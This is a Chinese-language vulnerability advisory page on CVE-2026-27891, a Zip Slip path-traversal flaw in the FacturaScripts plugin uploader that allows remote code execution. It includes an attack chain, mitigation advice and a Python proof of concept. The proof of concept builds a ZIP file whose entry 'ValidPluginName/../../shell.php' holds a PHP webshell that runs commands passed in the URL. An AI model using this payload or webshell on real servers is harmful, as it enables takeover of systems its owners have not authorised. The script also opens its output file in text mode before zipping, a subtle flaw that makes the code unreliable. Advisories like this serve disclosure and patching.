IPBUF安全漏洞报告
English
CVE-2026-27891 CVSS 7.2 高危

CVE-2026-27891 FacturaScripts Zip Slip导致RCE漏洞

披露日期: 2026-05-18

漏洞信息

漏洞编号
CVE-2026-27891
漏洞类型
远程代码执行
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
FacturaScripts

相关标签

RCEZip SlipPath TraversalArbitrary File WriteFacturaScripts

漏洞概述

FacturaScripts 2026及以下版本存在严重安全漏洞。该漏洞源于Plugins::add()函数未能正确验证ZIP归档内的文件路径。攻击者可利用Zip Slip技术,构造包含路径遍历序列的恶意ZIP文件。该文件能绕过系统的根目录检查机制,导致任意文件写入,进而覆盖关键PHP文件,最终实现远程代码执行(RCE)。

技术细节

该漏洞位于FacturaScripts的Plugins.php文件中的Plugins::add()函数。虽然testZipFile函数尝试验证ZIP归档仅包含一个根文件夹,但其验证逻辑存在缺陷。它使用explode函数分割路径并检查count($folders) != 1,但未对文件路径中的特殊字符(如../)进行清洗或验证。攻击者可以将恶意文件命名为“ValidPluginName/../../shell.php”。在验证阶段,explode函数将“ValidPluginName”识别为根文件夹,满足检查条件。然而,在解压阶段,路径中的“../../”序列会触发目录遍历,导致文件被解压到Web服务器有权限的任意位置(如网站根目录)。通过覆盖现有的PHP文件,攻击者可以在服务器上执行任意代码。

攻击链分析

STEP 1
1
攻击者准备恶意ZIP文件,文件名为'ValidPluginName/../../shell.php',其中包含后门代码。
STEP 2
2
攻击者以管理员身份登录FacturaScripts,并访问插件上传功能。
STEP 3
3
系统testZipFile函数检测ZIP结构,'ValidPluginName'被识别为根文件夹,通过验证。
STEP 4
4
系统解压ZIP文件,路径中的'../../'触发目录遍历,将shell.php写入插件目录之外的指定位置。
STEP 5
5
攻击者通过浏览器访问被写入的shell.php,执行任意系统命令,获取服务器控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2026-27891 # This script generates a malicious ZIP file to bypass the root folder check. import zipfile import os # The malicious file name containing path traversal # 'ValidPluginName' passes the explode check, '../../' traverses up malicious_filename = "ValidPluginName/../../shell.php" # Simple PHP webshell content webshell_content = "<?php system($_GET['cmd']); ?>" # Create the malicious ZIP file with open('malicious_plugin.zip', 'w') as zip_file: with zipfile.ZipFile(zip_file, 'w', zipfile.ZIP_DEFLATED) as zf: # Write the file with the traversal path zf.writestr(malicious_filename, webshell_content) print("[+] Malicious ZIP file 'malicious_plugin.zip' created successfully.") print("[+] Upload this file via the FacturaScripts plugin installation page.") print("[+] If exploited, shell.php will be written to the parent directory of the plugins folder.")

影响范围

FacturaScripts <= 2026

防御指南

临时缓解措施
建议用户立即将FacturaScripts升级至2026.1版本以修复此漏洞。若无法立即升级,应严格限制插件上传权限,仅允许受信任的管理员进行操作,并检查服务器文件系统中是否存在异常的新增PHP文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表